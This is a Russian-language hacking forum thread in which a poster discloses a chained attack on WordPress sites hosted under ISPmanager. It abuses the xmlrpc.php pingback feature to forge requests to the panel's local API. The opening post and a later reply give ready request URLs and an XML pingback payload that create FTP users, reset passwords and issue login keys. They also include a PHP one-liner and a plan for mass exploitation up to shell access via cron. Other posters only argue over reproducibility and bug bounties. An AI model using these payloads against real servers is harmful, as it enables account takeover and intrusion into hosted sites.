Критическая уязвимость Ispmanager + Wordpress

Discussion in 'Веб-уязвимости' started by Grenaro, 15 Sep 2016.

  1. Grenaro

    Grenaro New Member

    Joined:
    13 Aug 2016
    Messages:
    5
    Likes Received:
    2
    Reputations:
    12
    Нашел сам. Вроде в паблике еще не было.

    Фича №1) В ISPmanager имеется возможность управления через api без авторизации. Просто отправляем GET запрос на внутренний адрес http://127.0.0.1/manager и панель автоматически, работая от рута, распознает от какого пользователя был отправлен запрос и выполняет его с правами этого пользователя. Примеры:

    Создать ftp-пользователя к корневой папке пользователя:
    http://127.0.0.1/manager/ispmgr?nam...t=0&note=&func=ftp.edit&elid=&sok=ok&out=json

    Cмена пароля пользователя(нужно знать имя пользователя, чтобы потом авторизоваться):
    http://127.0.0.1/manager/ispmgr?out...nfirm=[pass]&func=usrparam&elid=[user]&sok=ok

    Создать ключ для авторизации по ключу(нужно знать имя пользователя, чтобы потом авторизоваться):
    http://127.0.0.1/manager/ispmgr?out=xml&func=session.newkey&username=&key=98946945603567567567567

    +

    Фича №2) В wordpress имеется возможность отправлять запросы от сервера через функцию pingback в файле xmlrpc.php. Нужно лишь знать путь к существующей странице на сайте. Отправляем POST запрос к скрипту http://site.com/xmlrpc.php вида:
    Code:
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>http://site.com/manager/ispmgr?name=[ftpuser]&amp;passwd=[pass]&amp;htype=equalme&amp;dir=&amp;disklimit=0&amp;note=&amp;func=ftp.edit&amp;elid=&amp;sok=ok&amp;out=json</string></value></param>
    <param><value><string>http://site.com/?p=2</string></value></param>
    </params>
    </methodCall>
    
    и сервер сам к себе отправляет запрос, а панель создает ftp пользователя и заданными именем и паролем. Обычно отправку несанкционированного запроса от сервера называют SSRF уязвимостью, но разработчики Wordpress считают пинговалку фичей и исправлять явно не будут.

    =

    Получаем 2 фичи, которые никто не будет патчить, но которые дают полный доступ к сайту. Wordpress самая распространенная cms в мире, а isp самая распространенная серверная панель у снг вебмастеров. Проверялось на isp4, но по-моему и в 5-ой версии все так же. Т.к. у многих php работает от пользователя apache или nginx, можно установить пароль к пользователям apache, www-data, nginx. Через них можно авторизоваться в панели и получив доступ к крон-задачам выполнять команды шелла, ну или по ssh подключиться. Прошлой осенью разрабы ispmanager в новых версиях закрыли возможность отправлять запросы к api через пользователя веб-сервера, но запросы обычным пользователем остались. Да и многие не обновляют панели.

    Лечение:
    Можно удалить файл xmlrpc.php, но ssrf могут быть и в других скриптах, эту уязвимость часто игнорируют. Если не пользуетесь api - отключите его в файл-конфиге isp.
     
  2. strelok20094

    strelok20094 Member

    Joined:
    26 Mar 2011
    Messages:
    81
    Likes Received:
    6
    Reputations:
    2
    Мб я пенек, но <doc><error code="100">Auth failed from IP</error></doc>
     
  3. pas9x

    pas9x Elder - Старейшина

    Joined:
    13 Oct 2012
    Messages:
    423
    Likes Received:
    585
    Reputations:
    52
    Баг-репорт кривой. Непонятно в какой именно панели. Lite или Pro. Непонятно как воспроизвести проблему.

    Тестировать надо не на какашке мамонта а на нормальной версии. Четвёрные версии isp-панелей давно устарели, лицензии на них купить невозможно и вымирают они очень быстро. По моей статистике, из 8000 vps'ок ispmgr4 установлена всреднем на 10-20 виртуалках. В основном четвёртые версии панелей сохранились у хостеров, но сейчас на них работают только говнохостинги, которые даже не думают обновляться.

    Это бред сивой кобылы. Сам процесс ispmgr, конечно, работает под рутовым аккаунтом. Но при авторизации (например методом authinfo) панель делает su на авторизированный аккаунт. Но это не значит, что любому api-запросу на 127.0.0.1 панель назначит высший уровень доступа. 127.0.0.1 для ihttpd ничем не отличается от любого другого айпишника в паблик-интернете.
    Возможно ты путаешь вызов api-функций по http с их вызовом через консоль.

    Напиши более подробно как воспроизвести проблему и протестируй дыру на пятой версии с указанием типа панели к которой выполняются апи-запросы (Lite/Business/Node). Баг-репорт под четвёртую панель настолько-же актуален, насколько сейчас актуален баг-репорт под win98. Если под рукой нет пятой панели - могу в ЛС скинуть рутовый доступ к тестовой виртуалке с нужной версией панели.
     
    #3 pas9x, 17 Sep 2016
    Last edited: 17 Sep 2016
  4. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    совет автору писать сразу разробам. там еще и денег платят)
    если конечно лишние деньги опиши тут)
    https://www.ispsystem.ru/bug-report

    100 €
    Проблемы, приводящие к зависанию наших продуктов или приводящие к неработоспособности какого-либо сервиса действиями от лица пользователя (не администратора) через панель.

    300 €
    Проблемы безопасности, если в результате каких-либо действий от пользователя можно получить данные другого пользователя.

    900 €
    Проблема безопасности, если в результате действий от пользователя (не главного администратора панели управления) можно получить права администратора.
     
  5. ghost8

    ghost8 Member

    Joined:
    29 May 2015
    Messages:
    110
    Likes Received:
    20
    Reputations:
    0
    за такие деньги им писать ни кто не будет,особенно по пункту 3,выгоду сами все вытянут,думаю многие будут согласны
     
    zifus likes this.
  6. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Дык чтобы отправить запрос к панели через GET, не нужно быть авторизованным в панели?
     
  7. Grenaro

    Grenaro New Member

    Joined:
    13 Aug 2016
    Messages:
    5
    Likes Received:
    2
    Reputations:
    12
    Работает это не везде. Похоже с какой-то версии запросы на localhost без авторизации по-умолчанию выключены и таких серверов все больше. Я все это разбирал больше года назад. Сейчас больше не нужно и выложил.

    Работало и на лайт и на про.

    Если только за год все не обновились. На 4 версии все брали пожизненные лицензии и когда появилась 5-ая версия никто не хотел покупать заново. Пятерка вышла уже давно, но чуть больше года назад я собирал инфу по панелям на сотнях тысяч серверов. Чекая лицензию по запросу http://lic.ispsystem.com/ispmgr.lic?ip= . Так вот из найденых isp, пятерка была у меньше 5 процентов. И я не думаю что за год изменилось настолько.

    Я нигде не писал, что по любому запросу на локалхост панель выдаст права рута. Я писал что она обработает запрос с правами того пользователя от которого отправили запрос. Php скрипт с банальным file_get_contents("http://127.0.0.1/manager/ispmgr?out...nfirm=[pass]&func=usrparam&elid=[user]&sok=ok"); запускаем любым пользователем и этому пользователю установится новый пароль.
    Как воспроизвести подробнее, если это примеры из старой документации? Это же не ошибка в софте которую пропустили разрабы, это проблема архитектуры. Отбрось вордпресс и отправь запрос к панели 4 версии. На 5-ой версиии было так мало панелей, что возится с ними было нерентабельно. Читай выше про распределение версий, что ты несешь про win98.

    Чтобы запустить все это массово нужно собрать много информации. Базу ip с панелями и списки доменов на этих ip. Прочекать их на вордпресы. Найти существующую стараницу в блоге, чтобы сделать pingback. Отправлять кучу запросов по этим данным, чтобы выяснить от какого пользователя работал php и по какому адресу была панель. Думаете если все было так просто я бы выложил это?

    Вот здесь можно увидеть что бывает когда запускаешь массово:
    http://searchengines.guru/archive/index.php/t-903583.html

    Тогда и пофиксили запросы от пользователя веб-сервера(http://forum.ispsystem.ru/showthread.php?28944-Changelog-для-ISPmanager-4), только проблема была шире.